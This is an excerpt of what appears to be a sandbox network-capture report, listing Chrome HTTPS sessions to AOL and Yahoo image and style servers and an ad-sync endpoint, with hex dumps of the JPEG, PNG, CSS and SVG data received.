2024-05-23 22:34:55 UTC	16383	IN	Data Raw: 25 38 cf 17 7d df e0 8d 2a 31 e0 1d cf c9 a4 34 58 f8 c6 b6 1f c2 01 a7 2d cb 73 33 03 e8 d7 15 ea 90 f3 f3 02 91 07 73 b0 50 3d 09 02 92 25 3c 01 01 47 a7 1a ec 77 99 59 6f f4 a8 42 da d6 c9 a8 bc 85 ff 00 ce 91 49 f3 a5 36 ee a7 04 db 65 86 41 1c 2d 40 b4 92 31 4e e0 ac b7 06 dc 87 79 a9 f5 8e a1 19 d2 24 2c 41 b5 99 49 5c 28 1c 2e 6b a3 3a 21 15 02 2b 4f 30 05 17 b9 40 c7 ce ba 43 5f 61 f0 68 62 2b 13 7f 68 86 5f 9d 4d 33 f7 eb 75 36 bf a2 b4 a2 bf d9 dd 29 50 2e 44 42 76 f5 da 22 35 a3 89 79 0d 3e 97 ab ff 00 1b bd 48 47 ee 45 ff 00 45 26 a5 6d 98 e5 45 b1 f6 14 ba 6e 8d d6 2b 18 a4 10 03 2c 33 25 c3 c7 be 35 dd cf 99 ae 96 e9 08 4e a2 31 be 42 4b a7 5a ae bd 9d cd 7b 56 83 45 0a 31 2d 0c 71 c7 d7 ca c9 c4 39 6d cc 6e 79 2a 8a 69 3a 3c de 74 5d f6 58 Data Ascii: %8}14X-s3sP=%<GwYoBI6eA-@1Ny$,AI\(.k:!+O0@C_ahb+h_M3u6)P.DBv"5y>HGEE&mEn+,3%5N1BKZ{VE1-q9mnyi:<t]X
2024-05-23 22:34:55 UTC	3137	IN	Data Raw: 37 39 f0 f4 ee ab a8 66 be 2d c0 db 9d 60 03 c3 ba d6 ab de f9 bd 5f 68 bf 0f 0a f3 f2 ee ac 82 70 a7 8d 85 3a 19 39 a9 ed 01 47 72 2f c4 d9 6a b9 39 19 bd 02 07 11 81 4d 80 71 c8 51 00 5b 87 3a 52 c0 58 5b 88 ad b9 cd f3 40 5f 37 18 1e d5 80 2c 0f 3a e7 8f 1e fa 50 cb 70 84 e4 81 e1 49 c6 e0 70 a0 a3 e9 e5 47 20 77 0b 57 5f a5 1f f1 14 7c 23 f6 87 2a 93 6b 39 08 1b 8e 2e 2f e1 7a c7 7d 5e dc f8 da ac 06 08 ab 00 2d 8a 27 99 af ca 87 78 f0 c5 0b 1e 77 b5 ad 44 90 2f c2 df 62 aa 8e 6d c2 89 03 27 04 2e 47 22 68 03 ce 80 f0 e3 c6 ac 2f ca bc 87 d9 85 39 a3 7b 60 1a ed 5e f8 a3 8a b8 b6 68 af 98 b5 5d 8e 15 46 6f 7a bc 87 d8 0e e1 f6 30 61 cc 50 d4 c1 c8 39 b3 a9 e4 ca dd e3 91 a2 a7 03 7c 91 87 57 b0 b0 de 0d c5 fb cd 68 8a a5 c8 1a 7d 3b 2e ef 32 ae cb 4c Data Ascii: 79f-`_hp:9Gr/j9MqQ[:RX[@_7,:PpIpG wW_\|#*k9./z}^-'xwD/bm'.G"h/9{`^h]Foz0aP9\|Wh};.2L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.6	49979	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:55 UTC	806	OUT	GET /images/dims?quality=80&thumbnail=500%2C500%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_usatoday_us_articles_590%2F14da1afdf0a24cd1b7d13a3786fb36f8&client=76f99bdb8f78cd44cc0b&signature=e2b7af1232274c55c541a44dd133172a67f48d1f HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:55 UTC	1132	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 34271 Cache-Control: public, max-age=2592000 Cache-Tag: 456955186125287406716993207142984809319,235340640676375132590402367885429670181,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21978-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: 822d623205361d8a96d1efc8ed924023 cld_latency: 2 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:34:55 GMT Edge-Cache-Tag: 456955186125287406716993207142984809319,235340640676375132590402367885429670181,ae7a14591aaf8d474cdb3f92111c923e Etag: "991e9b3c300070b284de33e2cf417e04" Last-Modified: Thu, 23 May 2024 09:18:23 GMT Server: ECAcc (lhd/35DE) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=500,height=500,bytes=64732,owidth=4032,oheight=3024,obytes=1809722,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Request-Id: 822d623205361d8a96d1efc8ed924023 X-Served-By: cache-lga21978-LGA X-Timer: S1716469424.399908,VS0,VE2 Content-Length: 64732 Connection: close
2024-05-23 22:34:55 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 15 0e 0c 0b 0b 0c 19 12 13 0f 15 1e 1b 20 1f 1e 1b 1d 1d 21 25 30 29 21 23 2d 24 1d 1d 2a 39 2a 2d 31 33 36 36 36 20 28 3b 3f 3a 34 3e 30 35 36 33 ff db 00 43 01 0f 10 10 15 12 15 29 17 17 29 57 3a 31 3a 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 57 ff c2 00 11 08 01 f4 01 f4 03 01 11 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 02 03 01 01 00 00 00 00 00 00 00 00 00 00 04 05 03 06 01 02 07 00 08 ff c4 00 1a 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b6 7a fe 4e 03 21 Data Ascii: JFIFC !%0)!#-$9-13666 (;?:4>0563C))W:1:WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWzN!
2024-05-23 22:34:55 UTC	16383	IN	Data Raw: 92 6d 92 80 ce 2b c0 57 6a 06 d6 c4 68 eb 2b d2 48 ad 0a f0 eb 3c 7e 32 62 30 fa 8c 9e b2 46 27 0d 02 5f b8 7e 95 0f 67 72 16 38 e2 fc 08 d4 1b 84 b2 a5 a2 fb a1 d6 ed 3e ca f0 0c e7 1c aa 4a 36 da 53 40 1c 2e 99 16 13 8d 41 db 5f 63 6c 03 d8 57 5d a7 d8 77 c3 4e 5e a5 cf cc 7b aa 04 76 c8 fb be c2 61 6a 1f ba 68 f5 e3 15 0c 46 24 e7 c7 a8 82 ea 49 a7 fa 52 ea 11 07 65 20 a8 57 53 20 6f 1e f2 18 25 3d c1 02 a3 fc a6 20 7f 2e a2 24 96 85 f9 99 6e b9 09 3c 98 a4 1d 4b 22 c7 af cc e6 8b 18 be c8 ae b2 05 e4 12 42 f3 ec 96 ac ad 1e 90 11 22 7c 1c 0f 67 10 ab 2d 3e a3 28 4b 2b c8 04 ce a2 df 92 e5 3e e5 04 c4 cf e3 e0 c9 67 52 e6 04 ac 60 57 80 9b 04 05 32 50 32 2b f2 98 f7 30 7b 89 81 b4 43 13 19 17 9a 6b ea 30 6f 4c 00 c4 e7 b0 6a b8 9b 58 ef db 6d 86 0b 44 Data Ascii: m+Wjh+H<~2b0F'_~gr8>J6S@.A_clW]wN^{vajhF$IRe WS o%= .$n<K"B"\|g->(K+>gR`W2P2+0{Ck0oLjXmD
2024-05-23 22:34:55 UTC	16383	IN	Data Raw: 66 d2 b5 9c b6 a3 6a 5d 8d 51 1f 1a d1 18 5a cf 89 37 da 32 2a 93 46 75 52 17 96 2c 9b 5e b3 96 d4 64 5f db f7 e3 87 d2 e4 cb 1b 8a 25 17 07 b5 f7 a3 90 dd e8 9b 42 9f ec 8a e0 cc b6 2b 67 a5 83 cd 64 a1 25 de 95 e0 fa 30 7e 57 66 46 9c 9b 42 fc 44 fe c1 bb f0 94 a8 97 64 5d 4a c8 bf 06 d2 56 c9 cd c9 d8 d9 76 2f 34 7a 6c cf 1f 04 da 93 b4 7a 98 f4 c5 e0 b5 c3 3b 54 f4 cb f8 90 8f d5 c5 5f 28 69 c5 d3 d6 29 c9 a4 8c 10 50 82 8a 3f 93 c3 ca c8 b4 7a e2 c4 e6 ff 00 c1 0c 51 82 e1 09 23 f9 0c cb fe 42 c1 23 f8 dc a9 45 c5 2e 8c b3 53 97 1e 0d e8 cf a7 4a d9 17 cd 11 e6 3b 57 62 c6 f6 34 49 34 f9 2c dc 39 69 31 74 62 9d aa 13 d7 36 4b 74 86 c6 c5 df b0 84 e8 c5 2b 33 ab 8f b1 19 6d 76 46 4a 4a c9 ab 46 25 f4 e7 57 d9 ea a1 fd 96 be 8f 1e e9 d9 13 d7 c5 3c 57 Data Ascii: fj]QZ72*FuR,^d_%B+gd%0~WfFBDd]JVv/4zlz;T_(i)P?zQ#B#E.SJ;Wb4I4,9i1tb6Kt+3mvFJJF%W<W
2024-05-23 22:34:55 UTC	15583	IN	Data Raw: 3f 4a 11 cb 1b d1 0b fb b3 ce 94 06 e4 d1 8f 2a 6b 81 bb a4 98 02 36 8c 78 52 05 0b 8c ce 39 55 97 ce e1 48 fc eb b6 e1 48 21 d4 2c 95 e8 62 79 55 d7 b9 71 b5 82 a0 05 78 d8 91 c8 57 0e 3b d0 8a 13 2a 3c 4d 17 b2 1a 0d e2 75 80 73 b8 99 dc 55 ab ca ce 7e ee d8 82 bd 4f 99 e9 e1 56 ca 1e fa 0b f6 e5 88 3c c4 f8 fd 05 3d fb dc 45 ed 0b c2 a2 e0 62 64 f2 13 1b f8 57 6c dc 41 c8 bc 35 22 81 32 c7 96 04 d1 94 66 ff 00 0d 40 83 d3 1d 08 35 a4 ea 45 ed ca c6 a5 98 6d ff 00 8a 07 c6 9d 82 7d d9 ec 98 15 76 31 8f 03 bc 9a 5b 00 36 12 46 40 f3 1b 73 35 fb 55 b0 b2 ca 82 18 f5 df 1b fc a9 52 d8 2c 81 ad f2 26 70 4f 23 e5 bd 5b b9 c2 aa 29 60 c7 71 1f bd d6 39 d7 70 80 c5 98 02 f2 06 df 4a 44 66 8e fa 0c 13 1d 3c 62 ad eb 56 dd b7 00 f3 9f eb 6a 0d 78 29 02 e2 bc 12 Data Ascii: ?Jk6xR9UHH!,byUqxW;<MusU~OV<=EbdWlA5"2f@5Em}v1[6F@s5UR,&pO#[)`q9pJDf<bVjx)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.6	49977	54.216.114.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:55 UTC	853	OUT	GET /usync/prbds2s?gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dgumgum%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D HTTP/1.1 Host: rtb.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:55 UTC	362	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:34:55 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 2982 Connection: close Server: nginx Set-Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac; Domain=.gumgum.com; Expires=Fri, 23 May 2025 22:34:55 GMT; Path=/; Secure; SameSite=None ETag: "03812ae64996602016e0d6986060895e8" Timing-Allow-Origin: *
2024-05-23 22:34:55 UTC	2982	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 2e 61 64 6e 78 73 2e 63 6f 6d 2f 67 65 74 75 69 64 3f 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 61 70 6e 26 69 3d 24 55 49 44 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 2f 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 78 2e 62 69 64 73 77 69 74 63 68 2e 6e 65 74 2f 73 79 6e 63 3f 73 73 70 3d 67 75 6d 67 75 6d 32 26 75 73 65 72 5f 69 64 3d 65 5f 31 32 65 61 31 64 64 32 2d 37 37 66 30 2d 34 39 64 38 2d 38 61 65 66 2d 39 30 37 36 38 65 31 32 64 37 61 63 Data Ascii: <html><head><title></title></head><body><img src="https://secure.adnxs.com/getuid?https://usersync.gumgum.com/usersync?b=apn&i=$UID" style="display:none;"/><img src="https://x.bidswitch.net/sync?ssp=gumgum2&user_id=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.6	49978	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:55 UTC	796	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-09%2F291fe6d0-1246-11ec-9eb7-5392da65195b&client=76f99bdb8f78cd44cc0b&signature=ef85e8cf2223994c333ea8e9159b98ffe0bc6080 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:55 UTC	1511	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53586 Cache-Control: public, max-age=2592000 Cache-Tag: 242478970273792402798397858869058529945,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100087-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:55 GMT Edge-Cache-Tag: 242478970273792402798397858869058529945,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "fb63bb3ad5a7073858b9e60838b00c27" Expiration: expiry-date="Wed, 31 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 01 Feb 2024 18:22:02 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35A6) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=293,owidth=400,oheight=400,obytes=75663,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kjyo7100147-IAD X-Timer: S1711266108.662882,VS0,VE2 Content-Length: 293 Connection: close
2024-05-23 22:34:55 UTC	293	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 4e 50 4c 54 45 47 70 4c 00 c6 ff 00 c6 ff 61 dc fd 00 c6 ff 00 c6 ff 00 c6 ff 00 c6 ff 00 c6 ff 00 c6 ff c8 f3 fd fa fe fe af ed fd 11 ca fe dc f7 fe bc f0 fd 94 e7 fd 6c de fd ea fa fd 78 e1 fc 3b d3 fe 31 d1 fe 22 ce fe 45 d5 fd 49 d6 fd 43 d5 fd 42 31 89 89 00 00 00 0a 74 52 4e 53 00 c1 ff ff 97 f9 d9 09 9a 31 a3 db f8 54 00 00 00 7c 49 44 41 54 18 d3 65 cf d7 11 02 31 0c 04 d0 bd 95 a3 e4 74 11 e8 bf 51 3e 60 18 c0 af 80 0d 00 80 ec 82 f7 c1 65 bc c4 c4 b7 14 01 20 2e fc 58 22 80 c4 2f 09 c8 fc 91 e1 f6 a6 0f 92 64 d5 8b 74 08 47 1b 4d 45 4b ef 3a f4 0c f0 87 95 ad 98 58 2f 66 65 78 78 d9 6a df cb d8 9a 9a ed 77 8f 70 48 bd d6 ba 4a 13 b9 ad 35 Data Ascii: PNGIHDR(-SNPLTEGpLalx;1"EICB1tRNS1T\|IDATe1tQ>`e .X"/dtGMEK:X/fexxjwpHJ5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.6	49984	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:55 UTC	582	OUT	GET /rx/ev/builds/1.6.29/bcplayer.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:55 UTC	829	IN	HTTP/1.1 200 OK x-amz-id-2: LHXF6TAH2df7xHELFDTF37M9UAjTfSi/580ZEQ36P80UlTn1N2JF+C9SjY2qTihFGBm0I/RV536YBJn9OYp1dA== x-amz-request-id: B9VEFEXRWXQJF17D Date: Thu, 23 May 2024 17:19:57 GMT Last-Modified: Tue, 21 May 2024 22:19:08 GMT ETag: "b2130fea81a95452ca26fa455c99a3b7" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=536112000 x-amz-version-id: wHigPFuWQj0Dj2KBHJNjCr.0chwyNx3E Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 24011 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 18899 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 2e 6a 73 2d 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 20 2e 76 6a 73 2d 6d 65 6e 75 20 3a 6e 6f 74 28 2e 76 6a 73 2d 73 65 6c 65 63 74 65 64 29 3a 66 6f 63 75 73 3a 6e 6f 74 28 2e 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 29 2c 2e 76 69 64 65 6f 2d 6a 73 20 2e 76 6a 73 2d 6d 65 6e 75 20 3a 6e 6f 74 28 2e 76 6a 73 2d 73 65 6c 65 63 74 65 64 29 3a 66 6f 63 75 73 3a 6e 6f 74 28 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 29 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 35 31 62 31 37 7d 23 70 66 72 61 6d 65 2d 70 6c 61 79 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2e 65 76 70 2d 68 69 64 65 2d 74 69 74 6c 65 2d 6f 6e 2d 73 74 61 72 74 2d 73 63 72 65 65 6e 20 3a 6e 6f 74 28 2e 76 6a 73 2d 68 61 73 2d 73 74 61 72 74 65 64 29 20 2e 76 6a 73 2d 74 69 74 6c 65 2d 62 61 72 20 2e 76 Data Ascii: .js-focus-visible .vjs-menu :not(.vjs-selected):focus:not(.focus-visible),.video-js .vjs-menu :not(.vjs-selected):focus:not(:focus-visible){background:#151b17}#pframe-player-container.evp-hide-title-on-start-screen :not(.vjs-has-started) .vjs-title-bar .v
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 6e 67 20 2e 76 6a 73 2d 70 6c 61 79 2d 63 6f 6e 74 72 6f 6c 7b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 63 75 72 73 6f 72 3a 64 65 66 61 75 6c 74 3b 6f 70 61 63 69 74 79 3a 2e 35 7d 23 62 63 2d 70 6c 61 79 65 72 3a 6e 6f 74 28 2e 76 6a 73 2d 68 61 73 2d 73 74 61 72 74 65 64 29 20 2e 65 76 70 2d 6f 76 65 72 6c 61 79 2d 73 68 6f 77 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 23 62 63 2d 70 6c 61 79 65 72 3a 6e 6f 74 28 2e 76 6a 73 2d 68 61 73 2d 73 74 61 72 74 65 64 29 20 2e 76 6a 73 2d 74 69 74 6c 65 2d 62 61 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 35 29 3b 68 65 69 67 68 74 3a 31 30 30 25 7d 23 62 63 2d 70 6c 61 79 65 72 2e 76 6a 73 2d 68 61 73 2d 73 74 61 72 74 65 64 20 2e 65 76 70 2d 6f 76 65 72 6c Data Ascii: ng .vjs-play-control{pointer-events:none;cursor:default;opacity:.5}#bc-player:not(.vjs-has-started) .evp-overlay-show{display:none}#bc-player:not(.vjs-has-started) .vjs-title-bar{background:rgba(0,0,0,0.5);height:100%}#bc-player.vjs-has-started .evp-overl
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 73 2d 70 6c 61 79 62 61 63 6b 2d 72 61 74 65 2d 76 61 6c 75 65 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 2e 35 7d 23 70 66 72 61 6d 65 2d 70 6c 61 79 65 72 2d 63 6f 6e 74 61 69 6e 65 72 20 23 62 63 2d 70 6c 61 79 65 72 20 2e 76 6a 73 2d 63 6f 6e 74 72 6f 6c 2d 62 61 72 20 2e 76 6a 73 2d 76 6f 6c 75 6d 65 2d 6c 65 76 65 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 31 38 38 66 66 66 3b 6f 70 61 63 69 74 79 3a 2e 38 7d 23 70 66 72 61 6d 65 2d 70 6c 61 79 65 72 2d 63 6f 6e 74 61 69 6e 65 72 20 23 62 63 2d 70 6c 61 79 65 72 20 2e 76 6a 73 2d 63 6f 6e 74 72 6f 6c 2d 62 61 72 20 2e 76 6a 73 2d 76 6f 6c 75 6d 65 2d 70 61 6e 65 6c 2e 76 6a 73 2d 68 6f 76 65 72 20 2e 76 6a 73 2d 6d 75 74 65 2d 63 6f 6e 74 72 6f 6c 7e 2e 76 6a 73 2d 76 6f 6c 75 6d 65 Data Ascii: s-playback-rate-value{line-height:2.5}#pframe-player-container #bc-player .vjs-control-bar .vjs-volume-level{background-color:#188fff;opacity:.8}#pframe-player-container #bc-player .vjs-control-bar .vjs-volume-panel.vjs-hover .vjs-mute-control~.vjs-volume
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 63 68 2e 25 33 63 2f 64 65 73 63 25 33 65 25 33 63 64 65 66 73 25 33 65 25 33 63 2f 64 65 66 73 25 33 65 25 33 63 67 20 69 64 3d 27 64 65 73 6b 74 6f 70 27 20 73 74 72 6f 6b 65 3d 27 6e 6f 6e 65 27 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 27 31 27 20 66 69 6c 6c 3d 27 6e 6f 6e 65 27 20 66 69 6c 6c 2d 72 75 6c 65 3d 27 65 76 65 6e 6f 64 64 27 25 33 65 25 33 63 67 20 69 64 3d 27 63 63 2d 6f 66 66 27 20 66 69 6c 6c 3d 27 25 32 33 46 46 46 46 46 46 27 25 33 65 25 33 63 70 61 74 68 20 64 3d 27 4d 31 31 2e 32 34 35 32 39 32 37 2c 31 33 2e 32 36 37 39 31 32 32 20 43 31 31 2e 30 30 30 37 31 34 34 2c 31 33 2e 30 32 37 34 39 31 37 20 31 30 2e 36 31 30 35 36 35 34 2c 31 32 2e 39 35 33 32 39 33 38 20 31 30 2e 33 32 32 38 35 35 2c 31 33 2e 31 34 31 36 37 39 34 20 43 Data Ascii: ch.%3c/desc%3e%3cdefs%3e%3c/defs%3e%3cg id='desktop' stroke='none' stroke-width='1' fill='none' fill-rule='evenodd'%3e%3cg id='cc-off' fill='%23FFFFFF'%3e%3cpath d='M11.2452927,13.2679122 C11.0007144,13.0274917 10.6105654,12.9532938 10.322855,13.1416794 C
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 38 36 32 20 31 35 2e 39 39 34 31 31 34 2c 31 30 2e 36 38 32 35 34 38 34 20 31 36 2e 31 38 33 33 31 34 35 2c 31 30 2e 37 37 38 34 32 37 35 20 43 31 36 2e 35 34 31 31 32 38 39 2c 31 30 2e 39 35 39 35 38 36 20 31 36 2e 39 37 32 34 36 36 38 2c 31 30 2e 39 30 33 32 31 34 39 20 31 37 2e 32 35 39 32 30 38 34 2c 31 30 2e 36 32 36 31 37 37 32 20 43 31 37 2e 36 31 33 31 30 31 36 2c 31 30 2e 32 38 34 35 37 37 37 20 31 37 2e 35 35 33 33 30 32 34 2c 39 2e 37 30 31 35 39 34 30 35 20 31 37 2e 31 33 32 37 34 38 2c 39 2e 34 34 33 38 32 38 35 35 20 43 31 36 2e 35 31 35 36 34 30 37 2c 39 2e 30 36 36 30 39 33 36 39 20 31 35 2e 37 35 31 39 37 36 36 2c 38 2e 39 30 31 33 31 36 34 39 20 31 34 2e 39 33 34 38 38 35 35 2c 39 2e 30 36 30 33 31 32 30 33 20 43 31 33 2e 37 34 36 37 34 Data Ascii: 862 15.994114,10.6825484 16.1833145,10.7784275 C16.5411289,10.959586 16.9724668,10.9032149 17.2592084,10.6261772 C17.6131016,10.2845777 17.5533024,9.70159405 17.132748,9.44382855 C16.5156407,9.06609369 15.7519766,8.90131649 14.9348855,9.06031203 C13.74674
2024-05-23 22:34:55 UTC	1011	IN	Data Raw: 33 63 73 76 67 20 77 69 64 74 68 3d 27 32 34 70 78 27 20 68 65 69 67 68 74 3d 27 32 34 70 78 27 20 76 69 65 77 42 6f 78 3d 27 30 20 30 20 32 34 20 32 34 27 20 76 65 72 73 69 6f 6e 3d 27 31 2e 31 27 20 78 6d 6c 6e 73 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 27 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 27 25 33 65 25 33 63 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 53 6b 65 74 63 68 20 33 2e 38 2e 33 20 28 32 39 38 30 32 29 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 62 6f 68 65 6d 69 61 6e 63 6f 64 69 6e 67 2e 63 6f 6d 2f 73 6b 65 74 63 68 20 2d 2d 25 33 65 25 33 63 74 69 74 6c 65 25 33 65 63 63 2d 6f 6e 25 33 63 2f 74 69 74 6c 65 Data Ascii: 3csvg width='24px' height='24px' viewBox='0 0 24 24' version='1.1' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'%3e%3c!-- Generator: Sketch 3.8.3 (29802) - http://www.bohemiancoding.com/sketch --%3e%3ctitle%3ecc-on%3c/title
